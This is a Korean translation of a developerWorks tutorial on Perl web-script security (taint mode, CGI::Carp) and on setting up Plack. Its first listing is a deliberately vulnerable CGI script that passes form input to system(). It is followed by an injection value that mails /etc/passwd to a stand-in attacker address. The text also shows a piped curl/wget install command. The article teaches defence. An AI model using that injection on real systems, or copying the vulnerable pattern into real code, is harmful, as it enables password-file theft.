불가능한 것처럼 들리겠지만, 스크립트를 완전히 안전하게 하는 유일한 방법은 외부에 있는 데이터를 사용하지도 않고 데이터를 외부 커넥션 또는 인터페이스(명령 실행 또는 데이터베이스 연결)에서 사용하지도 않는 스크립트를 사용하는 것이다. 몇 가지 기본적인 스크립트의 경우에는 이렇게 하는 것이 매우 합당하다.
그러나 우선 스크립트로 작성된 솔루션을 사용하는 정확한 이유는 일반적인 웹 애플리케이션에서는 양식이나 기타 위치에서 데이터를 받은 다음, 이 데이터를 일부 양식에서 사용하기 때문이다.
이러한 데이터를 사용하면 심각한 결과가 발생할 수 있다. 예를 들어, 목록 1에 있는 예제를 생각해 보자.
목록 1. 일반적인 스크립트
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw/:standard/;
my $query = new CGI();
my $email = $query->param(email);
system("mail $email") or die "Couldn't open mail"
|
완전히 유효한 이메일 주소를 언제나 받게 될 것이라고 가정하면 이 스크립트는 아무런 문제가 없는 것처럼 보인다. 그러나 system() 함수를 사용하여
이메일을 전송하고 있기 때문에 이메일 주소의 컨텐츠가 시스템에 손상을 입힐 수 있다. 예를 들어, 제공된 이메일 주소가 다음과 같다고 가정해 보자.
example@example.com;
cat /etc/passwd | mail hacker@example.com
|
이메일 주소에는 아마도 유효한 이메일 주소뿐만 아니라 비밀번호 파일을 누군가에게 이메일로 전송하는 명령어가 포함되어 있다. system() 함수는 서브쉘을
열어서 이메일 주소의 컨텐츠를 실행한다. 이는 보안상 심각한 문제점을 초래한다.
스크립트가 Perl에서 제공하는 내장 모드, 즉 Taint mode로 수행되지 않은 경우에는 다양한 정보 소스의 출처를 추적하기가 어렵다. Perl에서 실제 사용자 ID와
유효한 사용자 ID가 다르다고 판별하거나 사용자가 명령행이나 스크립트의 첫 번째 행(Shebang Line)에서 -T 옵션을 사용하여 명시적으로 이 모드를 사용하는
경우에는 오류검사 모드가 자동으로 사용된다.
Taint mode를 사용하는 경우에는 Perl에서 다양한 데이터와 변수의 소스와 사용을 확인하여 사용되는 정보가 신뢰할 수 없는 정보가 있는 불안전하거나 위험한 조작을 실행하지 못하도록 한다. 이름에서 알 수 있듯이 이러한 데이터는 오염된(tainted) 데이터로 분류된다.
Perl에서는 오염된 데이터를 명령행 인수, 환경 변수, 로케일 정보 및 특정 시스템 호출(디렉토리, 공유 메모리 및 시스템 데이터에 대한 액세스 포함)로 인한 모든 정보로 식별한다. 이외에도 외부 파일에서 읽어 오는 모든 데이터도 오염된 데이터이다.
오염된 정보는 서브쉘(파이프로 연결된 입/출력 및 system() 호출 또는 exec() 호출 포함)을 호출하는 모든 명령이나 파일이나 디렉토리를 수정하는
모든 명령(쓰기, 삭제, 이름 변경) 또는 프로세스에서 직접 또는 간접적으로 사용할 수 없다.
예외적으로 print()(파생된 호출 포함) 호출과 syswrite() 호출은 오류나 서브메소드, 서브참조 또는 해시 키를 오염시키지 않는다.
이러한 오류 감지 기능은 직접 사용하지 않는 경우에도 의심스러운 값을 모니터하도록 자동으로 확장된다. 예를 들면, 실행되는 명령은 PATH 값에 영향을
받기 때문에 PATH 환경 변수의 값은 명령행에서 오염된 변수를 사용하는 것과 관계없이 system()이나 exec()를 호출할 때마다 확인된다. PATH에 나열되어 있는
각 디렉토리가 절대적이고 해당 소유자 및 그룹 이외의 사람들이 쓸 수 없도록 PATH가 확인된다. 이렇게 하면 실행 중인 명령이 더 이상 문제를 일으킬 수 없게 된다.
Taint 모드를 사용하는 경우에는 오염된 값이 사용되고 있다는 것을 Perl에서 식별하면 오류가 발생하고 실행이 중지된다. 예를 들어, 불안전한 PATH를 사용하면
다음과 같은 오류가 발생한다.
Insecure $ENV{PATH} while running with -T switch at t.pl line 11 |
반면에 불안전한 변수를 사용하면 다음과 같은 오류가 발생한다.
Insecure dependency in system while running with -T switch at t2.pl line 2 |
일반적인 웹 애플리케이션에서는 정보를 수집하는 데 사용된 방법과 관계없이 양식을 통해 사용자가 제공한 데이터는 오염이 된다. CGI 스크립트 데이터는 사용된 환경과 HTTP 메소드에 따라 표준 입력이나 환경 변수에서 얻을 수 있으며, 이러한 두 가지 소스는 오염된 소스로 분류된다.
스크립트가 실행되지 않도록 하고 불안전한 데이터가 사용되지 않도록 하려면, 이러한 데이터를 식별하여 오염을 제거함으로써 데이터가 안전하게 사용될 수 있게 해야 한다.
Perl 스크립트 내에서 오류를 보고하는 일반적인 방법은 warn()이나 die() 함수를 사용하여 오류를 보고하고 생성하는 것이다. 특히 모듈 내에서 발생하는
메시지에 대한 추가적인 제어 레벨을 제공하는 Carp를 사용할 수도 있다.
추가적인 CGI::Carp 모듈은 Carp 모듈과 동일한 여러 가지 기능을 제공한다. 이 모듈은 오류 정보를 기본 웹 서버 로그(예: Apache에 의해 생성된 로그) 대신
특정 로그에 기록하고자 하거나 이 정보를 제어된 형식으로 웹 페이지에 기록하고자 하는 웹 스크립트 내에서 사용되도록 특별히 설계되었다.
표준 Carp 모듈은 오류 위치 제공 면에서 더 친화적이고 더 많은 정보를 제공하는, warn()과 die() 함수에 대한 대안을 제공한다. 예를 들어, 모듈 내에서
사용된 경우, 오류 메시지에는 모듈의 이름과 행 번호가 포함된다.
Carp 모듈 내에 있는 기본 함수인 carp()는 경고 메시지의 대명사이고, croak()는 die()와 비슷하며 스크립트가 종료되도록 한다.
cluck()과 confess()는 각각 warn() 및 die()와 비슷하지만, 오류가 발생한 지점에서부터 다시 스택을 추적할 수 있는 기능을 제공한다.
Carp와 CGI::Carp 모듈을 모두 사용하는 경우에는 warn(), die() 그리고 Carp 모듈 함수인 croak(), confess() 및 carp()와 같은
표준 함수가 구성된 HTTP 서버 로그에 날짜/시간 스탬프 및 스크립트 소스가 있는 오류 정보를 작성하게 된다.
HTTP 서버 오류 로그를 사용하지 않고 CGI::Carp와 carpout() 함수를 사용할 수도 있다. 이 함수는 단일 인수로, 오류(일반적으로 STDERR로 전송됨)를 작성할 파일의
파일 디스크립터(filehandle)를 받는다. carpout() 함수는 명시적으로 가져와야 한다. 목록 2에서 간단한 예제를 확인할 수 있다.
목록 2.
CGI::Carp 사용
#!/usr/bin/perl
use strict;
use warnings;
use CGI::Carp qw/carpout/;
use IO::File;
my $logfile = IO::File->new('browser.log','w')
or die "Couldn't open logfile: $!\n";
carpout($logfile);
warn "Some error must have occurred\n";
|
로그에 생성된 정보는 생성된 날짜와 결과를 생성한 스크립트의 이름으로 식별된다.
[Thu Sep 2 11:35:56 2010] carpout.cgi: Some error must have occurred |
이러한 표준화된 방법에서는 모두 오류 정보가 로그 파일에 기록된다고 가정한다. 그러나 언제나 이러한 로그에 액세스할 수 있는 권한이 있거나 브라우저에 로그인하여 오류 정보를 얻기를 원하는 것은 아니다.
CGI::Carp 함수는 심각한 오류(die(), confess()) 메시지를 브라우저와 웹 서버 로그로 경로를 재지정하는 fatalsToBrowser 옵션을 제공한다. 이 옵션을
사용하면 스크립트에 의해 생성된 오류 메시지를 사용자가 볼 수 있다. 심각하지 않은 오류(warn() 및 carp())는 평상시처럼 계속해서 오류 로그에 기록된다.
이 옵션을 사용하려면 CGI::Carp 모듈을 로드할 때 옵션을 지정하고 CGI::Carp qw/fatalsToBrowser/;를 사용해야 한다. 이것을 스크립트를 찾는 파일에
추가하여 오류가 올바르게 보고되고 식별되게 할 수 있다.
정보의 오염과 CGI::Carp의 사용은 모두 하위 레벨 문제점이며 여전히 문제를 일으킬 수 있다. 그러나 CGI 애플리케이션의 하위 레벨 특성(예: 쿼리 인수 처리 및 헤더 자료 출력)은
Catalyst나 Dancer와 같은 많은 웹 애플리케이션 프레임워크 중 하나를 사용하여 단순화할 수 있다. 아래에 표시되어 있듯이 Plack은 프레임워크와 함께 작동하거나 자체적으로 사용될 수 있다.
Plack은 Perl 기반 웹 애플리케이션과 프레임워크를 실행하는 데 필요한 도구 세트이다. 웹 프레임워크 사용 여부와 관계없이 Plack은 코드와 웹 서버(예: Apache, Starman, FCGI) 사이에 위치한다. 따라서 프레임워크가 특정 웹 서버에 관해 신경을 쓰거나 웹 서버가 프레임워크에 관해 신경 쓸 필요가 없다.
설치해 보도록 하자. App::cpanminus에 있는 cpanm을 사용하여 모듈을 다운로드하고 local::lib에 설치할 것이다. 따라서 루트 액세스 권한이
필요하지 않다. 이 과정은 목록 3에 표시되어 있다.
목록 3. 초기 설정
# archive of any existing cpan configuration mv ~/.cpan ~/.cpan_original # Then one of the following: # if you can run wget wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && . ~/.bashrc # OR if you can run curl curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && . ~/.bashrc # otherwise, download the contents of http://cpanmin.us to a file called cpanmin.us, make it executable and then run: ./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && . ~/.bashrc |
이렇게 하면 웹 애플리케이션을 신속하고 손쉽게 필드하는 데 필요한 핵심 Plack 모듈이 설치된다(아래 목록 4 참조).
목록 4. cpanminus를 사용하여 Plack 설치
cpanm Task::Plack # Please also run this as we will use it later cpanm Plack::Middleware::TemplateToolkit |
이제 홈 디렉토리에 있는 perl5 폴더에 필요한 모든 모듈이 생성된다. 다음 단계에서는 웹 페이지를 리턴하는 데 필요한 .psgi 구성 파일을 작성한다(아래 목록 5 참조).
목록 5. .psgi 구성 파일 작성
# Tell Perl where our lib is (ALWAYS use this)
use lib "$ENV{HOME}/perl5/lib/perl5";
# ensure we declare everything correctly (ALWAYS use this)
use strict;
# Give us diagnostic warnings where possible (ALWAYS use this)
use warnings;
# Allow us to build our application
use Plack::Builder;
# A basic app
my $default_app = sub {
my $env = shift;
return [
200, # HTTP Status code
[ 'Content-Type' => 'text/html' ], # HTTP Headers,
["All is good"] # Content
];
};
# Return the builder
return builder {
$default_app;
}
|
이것을 1.psgi 파일에 저장한 후, 다음과 같이 명령행에서 plackup 명령(plackup 1.psgi)을 사용하여 웹 서버를 시작한다. 그러면 다음과 같이 메시지가 표시된다.
HTTP::Server::PSGI: Accepting connections at http://SERVER_IP:5000/.
웹 브라우저를 사용하여 http://SERVER_IP:5000/으로 이동한다. 데스크탑 컴퓨터에서 개발 중인 경우에는 http://localhost:5000/이 작동할 것이다. 그러면 "All is good" 메시지가
있는 페이지가 표시된다. 요청과 관계없이 언제나 이 페이지를 리턴하기 때문에 어떤 페이지로 이동하든지 사실상 http://localhost:5000/any_page.html을 보게 된다.
웹 서버의 액세스 로그를 명령행에서 확인할 수 있다. 이는 기본적으로 Plack은 개발 모드로 실행되고 특히 AccessLog, StackTrace 및 Lint를 위해 몇 가지 추가 미들웨어 계층을 켜기 때문이다.
운영 중에 StackTrace를 확인하려면 다음과 같이 목록 4의 27행 앞에 해시(#)를 추가하여 이 행을 주석 처리한다.
# ["All is good"] # Content.
plackup 명령을 다시 시작한다. (Ctrl+C를 입력하여 프로세스를 중단한 후, plackup 1.psgi를 실행하여 프로세스를 시작한다.) 이제 웹 브라우저에서 다시
http://localhost:5000/으로 이동하면 해당 오류의 StackTrace가 표시된다. 페이지 맨 위에 있는 기본 오류 메시지
"response needs to be 3 element array, or 2 element in streaming"에 주목한다. 그러면 각 추적 단계를 따라 갈 수 있다.
문제점을 디버그하는 데 도움을 받으려면 Trace 섹션 아래에 있는 Show function arguments 및 Show lexical variables 링크를 클릭한다.
#을 제거하고 다시 시작하면 작동하는 .psgi 파일이 다시 작성된다.
plackup 명령에는 명령행 인수가 여러 개 있으며 perldoc plackup 명령을 실행하면 해당 문서가 표시된다. 가장 많이 사용되는 인수는 -r 또는 --reload이며
이 옵션을 사용하면 .psgi 파일을 모니터할 수 있다(예: plackup -r 1.psgi). .psgi 파일 옆에 lib 디렉토리가 있는 경우에는 이 디렉토리도 모니터된다.
이미 Plack에는 웹 포탈에 통합하고 싶은 유용한 애플리케이션이 많이 있다. 예를 들면, 목록 6에서는 Plack::App::Directory를 사용하여 디렉토리 목록을
가져오고 이 디렉토리의 컨텐츠를 정적 파일로 제공한다. 이 기사에서는 Plack::App::URLMap을 사용하여 이 애플리케이션에 마운트할 URL을 선택한다.
목록 6. 두 번째 .psgi 구성 파일
use lib "$ENV{HOME}/perl5/lib/perl5";
use strict;
use warnings;
use Plack::Builder;
# 'mount' applications on specific URLs
use Plack::App::URLMap;
# Get directory listings and serve files
use Plack::App::Directory;
my $default_app = sub {
my $env = shift;
return [ 200, [ 'Content-Type' => 'text/html' ], ["All is good"] ];
};
# Get the Directory app, configured with a root directory
my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app;
# Create a mapper object
my $mapper = Plack::App::URLMap->new();
# mount our apps on urls
$mapper->mount('/' => $default_app);
$mapper->mount('/tmp' => $dir_app);
# extract the new overall app from the mapper
my $app = $mapper->to_app();
# Return the builder
return builder {
$app;
}
|
목록 6에 있는 코드에서는 $dir_app을 '/tmp/'에 마운트하고(http://localhost:5000/tmp/를 염), $default_app을 '/'(예: 기타 경로)에 마운트한다(http://localhost:500/anything_else.html을 염).
공통 태스크에 도움이 되는 Plack::Apps 및 Plack::Middleware 모듈이 많이 있다. 여기에서는 템플리트 엔진인 TT(Template-Toolkit)를 통해 파일을
구문 분석하는 Plack::Middleware::TemplateToolkit을 살펴본다. 이미지와 기타 정적 컨텐츠는 TT를 통과하지 않으므로 특정 확장을 사용하여 직접
파일을 제공하도록 Plack::Middleware::Static을 구성할 것이다. 이외에도 404(file not found) 오류가 발생할 때 페이지가 멋지게 표시되도록 하기 위해
Plack::Middleware::ErrorDocument를 사용할 것이다. 추가해야 하는 모든 코드는 목록 7에 표시되어 있다.
목록 7.
Plack::Middleware::TemplateToolkit 모듈
# A link to your htdocs root folder
my $root = '/path/to/htdocs/';
# Create a new template toolkit application (which we will default to)
my $default_app = Plack::Middleware::TemplateToolkit->new(
INCLUDE_PATH => $root, # Required
)->to_app();
return builder {
# Page to show when requested file is missing
# this will not be processes with TT
enable "Plack::Middleware::ErrorDocument",
404 => "$root/page_not_found.html";
# These files can be served directly
enable "Plack::Middleware::Static",
path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$},
root => $root;
# Our application
$default_app;
}
|
이 단계에서는 PSGI를 지원하고 Plack과 함께 실행할 수 있는 여러 가지 웹 프레임워크 중 하나를 조사하는 것이 가치가 있을 것이다. 이러한 프레임워크는 더 복잡한 태스크 수행을 구조화하고 지원한다. Catalyst, Mojolicious 또는 Dancer를 확인해 보자. Perl.org 웹 프레임워크 백서(링크는 참고자료 확인)에는 프레임워크를 사용할 때의 몇 가지 장점이 기술되어 있다.
사용자로부터 수신하는 정보를 보호해야 하기 때문에 Perl 웹 포탈 스크립트 내에서 웹 데이터를 구문 분석하고 사용하기는 복잡하다. Perl 스크립트를 통해 기본 파일 시스템에 액세스할 수 있는 권한을 부여하는 경우에는 외부에서 액세스하기를 원하지 않는 파일에 액세스할 수 있는 권한을 CGI 스크립트가 얻지 못하도록 해야 한다.
Plack을 사용하는 경우에도 이러한 요소에 관해 신경을 써야 하지만, Plack을 사용하면 고급 웹 애플리케이션 시스템을 훨씬 더 수월하게 빌드할 수 있다. Plack은 이러한 모든 문제점을 처리하고 단순화된 웹 애플리케이션 빌드 환경을 제공한다. Plack은 웹 서버와 Perl 애플리케이션 간의 모든 복잡도를 처리하여 애플리케이션과 서버를 단순화하고 보호한다.
교육
-
XML for Perl developers, Part 1: XML plus Perl -- simply magic(Jim Dixon, developerWorks, 2007년 1월): 이 시리즈는 XML 및 Perl 솔루션을 신속하게 빌드해야
하는 개발자들을 위한 안내서이다. 이 기사에는 사례가 매우 많지만, XML을 Perl 애플리케이션에 통합할 수 있는 한 가지 도구(XML::Simple)만 필요할 뿐이다.
-
Perl developers: Fill your XML toolbox(Parand Darugar, developerWorks, 2001년 6월): Perl로 XML을 조작하는 데 필요한 20개의 필수 도구와 라이브러리를
간략하게 탐구한다.
-
Effective XML processing with DOM and XPath in Perl(Parand Darugar, developerWorks, 2001년 10월): DOM을 효과적이고 효율적으로 사용하는 방법을 살펴본다.
-
High-order Perl(Mark Jason Dominus, 2005): Perl의 함수형 프로그래밍 기술과 기타 함수를 수정하고 제작할 수 있는 함수를 작성하는 방법에 관한 책을 읽어보자.
-
Perl 프로그래밍 언어의 홈 페이지를 방문하자.
-
Perl 웹 프레임워크에 관해 자세히 배우자.
-
AIX and UNIX: AIX와 UNIX developerWorks 영역에는 AIX 시스템 관리의 모든 특성과 관련이 있고 UNIX 기술을 확장하는 풍부한 정보가 있다.
-
New to AIX and UNIX?: "New to AIX and UNIX" 페이지에서 AIX와 UNIX에 대한 자세한 정보를 볼 수 있다.
-
주제별 AIX 및 UNIX 라이브러리 검색
-
Safari 온라인 서점: 이 온라인 서점을 방문하여 특정 기술과 관련된 참고자료를 찾아보자.
-
Twitter의 developerWorks 페이지를 팔로우하자.
-
bash에서 프로그램하는 방법을 배울 수 있는 시리즈 기사인 Bash by example, Part 1: Fundamental programming in the Bourne again shell(bash)(Daniel Robbins, developerWorks, 2000년 3월), Bash by example, Part 2: More bash programming fundamentals(Daniel Robbins, developerWorks, 2000년 4월) 및 Bash by example, Part 3: Exploring the ebuild system(Daniel Robbins, developerWorks, 2000년 5월)을 확인하자.
-
Making UNIX and Linux work together(Martin Brown, developerWorks, 2006년 4월)는 일반적인 Unix 배포 버전과 Linux를 함께 사용하기 위한 안내서이다.
-
developerWorks 팟캐스트에서 소프트웨어 개발자의 흥미로운 인터뷰와 토론을 확인할 수 있다.
-
developerWorks
기술 행사 및 웹 캐스트: developerWorks 기술 행사 및 웹 캐스트를 통해 최신 정보를 얻을 수 있다.
제품 및 기술
- 무료로 IBM 소프트웨어를 체험해보자. 평가판을 다운로드하고 온라인 평가판에 로그인하며
샌드박스 환경에서 제품으로 작업하거나 클라우드를 통해 이에 액세스하자. 100개 이상의 IBM 제품 체험판에서 선택하자.
-
Perl을 다운로드하자.
-
cpanminus 도구를 얻자.
-
Plack 웹 애플리케이션 시스템 홈 페이지를 방문하자.
-
DVD로 제공되거나 다운로드할 수 있는 IBM 시험판 소프트웨어를 사용하여 차기 오픈 소스 개발 프로젝트를 구현해 보자.
토론
-
developerWorks 블로그를 통해 developerWorks 커뮤니티에 참여할 수 있다.
Martin C. Brown은 교차 플랫폼 통합 분야에 경험이 풍부한 IT 관리자다. 날카로운 개발자로서 브라운은 대기업 고객을 위한 동적 사이트를 만들었고, foodware.net의 기술 관리자로 일한다. 지금은 프리랜서 작가이자 컨설턴트로 잘 알려진 브라운은 SME로 마이크로소프트와 밀접하게 작업하고 있으며, LinuxWorld 잡지에 LAMP 관련 기사 편집자로 활약하며, AnswerSquad.com 팀의 핵심 멤버로 일하며 XML Processing with Perl, Python and PHP, Microsoft IIS 6 Delta Guide를 집필했다. 브라운의 연락처는 questions@mcslp.com이다.
